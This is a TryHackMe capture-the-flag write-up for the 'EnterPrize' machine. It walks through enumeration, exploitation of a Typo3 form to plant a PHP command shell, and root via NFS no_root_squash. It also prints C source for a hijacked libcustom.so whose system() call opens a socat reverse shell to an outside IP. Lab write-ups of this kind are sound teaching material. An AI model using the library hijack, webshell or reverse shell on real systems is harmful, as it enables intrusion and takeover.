EnterPrize TryHackMe Writeup
Scanning
We launch nmap to all ports, with script and software version.
Enumeration
We access the web resource, but there is nothing.
We launch the nikto tool and find the file “composer.json”, these files usually reveal interesting information.
Contents of the file “composer.json”
It seems that there are leftover files from CMS Typo3, I check several paths but I can’t find anything…. But maybe it is in another subdomain by virtual hosting (vhost).
We launch the wfuzz tool in vhost mode:
We add the subdomain to our /etc/hosts file, access the new site and find the Typo3 CMS that we listed information in the previous file.
For this CMS I used the Typo3Scan tool to find vulnerabilities in this cms.
List the control panel:
We enter credentials by guessing, it seems to work, but the site has gone into maintenance mode and we no longer have access to the panel.
We launch dirsearch, list several interesting files and folders.
Access the “/typo3conf” directory and list the “LocalConfiguration.old” file.
Part of the content of the “LocalConfiguration.old” file
Exploitation
We list the sections of the site, we find a form from which we could carry out the exploitation.
We follow the instructions in the article and create a payload to generate the file “m3.php” and execute commands through it.
Sending malicious request:
Proof of concept
Reverse shell
We make an enumeration in the only user that has home, we find some files and a binary that seems interesting.
We check the libraries, we see that it calls “libcustom.so”, we see that we also have write permissions, so it would make a lot of sense to replace the file with another illegitimate one.
Contents of file libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void do_ping(){
system("/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.6.62.222:5555", NULL, NULL);
}
We see that the configuration file has a symbolic link to a “test.conf” file in the folder, this file is not found but we can write it.
We run the pspy64 tool and we see that every few minutes it executes the binary and with it our reverse shell.
We wait a few minutes, get shell as the user “john” and read the user flag.
Privilege Escalation
In the previous enumeration, we saw that there is an nfs working internally, but we did not have access with the user “www-data”. In the evidence we see that it is vulnerable to “no_root_squash”, this vulnerability would allow us to be able to run a shared binary on our machine and get the same privileges of its SUID.
Hacemos port forwarding con chisel al servicio NFS.
We authenticate as root, create a malicious binary, compile and give it permissions.
Run the binary from the victim’s nfs directory and you will become root.
